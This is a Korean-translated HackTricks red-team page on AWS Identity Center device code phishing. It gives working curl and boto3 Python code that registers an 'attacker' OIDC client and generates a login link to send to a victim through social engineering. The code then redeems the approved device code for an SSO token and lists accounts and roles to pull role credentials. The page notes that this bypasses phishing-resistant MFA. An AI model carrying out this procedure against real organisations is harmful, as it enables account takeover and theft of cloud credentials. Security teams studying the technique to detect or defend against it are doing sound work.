AWS - Identity Center & SSO Unauthenticated Enum

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

AWS Device Code Phishing

이 블로그 게시물에서 처음 제안된 것처럼, AWS SSO를 사용하는 사용자에게 링크를 보내면 사용자가 수락할 경우 공격자가 사용자를 가장할 수 있는 토큰을 얻고 Identity Center에서 사용자가 접근할 수 있는 모든 역할에 접근할 수 있습니다.

이 공격을 수행하기 위한 요건은 다음과 같습니다:

  • 피해자는 Identity Center를 사용해야 합니다.

  • 공격자는 피해자가 사용하는 서브도메인 <victimsub>.awsapps.com/start을 알아야 합니다.

이전 정보만으로도 공격자는 사용자에게 링크를 보낼 수 있으며, 수락할 경우 공격자는 AWS 사용자 계정에 접근할 수 있습니다.

Attack

  1. 서브도메인 찾기

공격자의 첫 번째 단계는 피해 회사가 Identity Center에서 사용하는 서브도메인을 찾는 것입니다. 이는 대부분의 회사가 여기서 이름이나 이름의 변형을 사용할 것이기 때문에 OSINT 또는 추측 + BF를 통해 수행할 수 있습니다.

이 정보로, Identity Center가 구성된 지역을 얻을 수 있습니다:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. 피해자를 위한 링크 생성 및 전송

피해자가 인증할 수 있도록 AWS SSO 로그인 링크를 생성하려면 다음 코드를 실행하세요. 데모를 위해 이 코드를 python 콘솔에서 실행하고 나중에 토큰을 얻기 위해 일부 객체가 필요하므로 종료하지 마세요:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Send the generated link to the victim using you awesome social engineering skills!

  1. 피해자가 수락할 때까지 기다리세요

피해자가 이미 AWS에 로그인되어 있다면 권한 부여를 수락하기만 하면 되고, 로그인되어 있지 않다면 로그인 후 권한 부여를 수락해야 합니다. 현재 프롬프트는 다음과 같이 보입니다:

  1. SSO 액세스 토큰 얻기

피해자가 프롬프트를 수락했다면, 이 코드를 실행하여 사용자를 가장한 SSO 토큰을 생성하세요:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

SSO access token은 8시간 동안 유효합니다.

  1. 사용자 가장

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

피싱 불가능한 MFA 피싱

이전 공격이 "피싱 불가능한 MFA" (webAuth)를 사용해도 작동한다는 사실은 재미있습니다. 이는 이전 워크플로우가 사용된 OAuth 도메인을 절대 벗어나지 않기 때문입니다. 다른 피싱 공격에서는 사용자가 로그인 도메인을 대체해야 하지만, 이 경우 디바이스 코드 워크플로우는 디바이스가 코드를 알고 사용자가 다른 기기에서도 로그인할 수 있도록 준비되어 있습니다. 프롬프트를 수락하면, 디바이스는 초기 코드를 알기만 하면 사용자의 자격 증명을 가져올 수 있습니다.

자세한 내용은 이 게시물을 참조하세요.

자동화 도구

참고 자료

AWS 해킹 학습 및 연습:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 학습 및 연습: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원

Last updated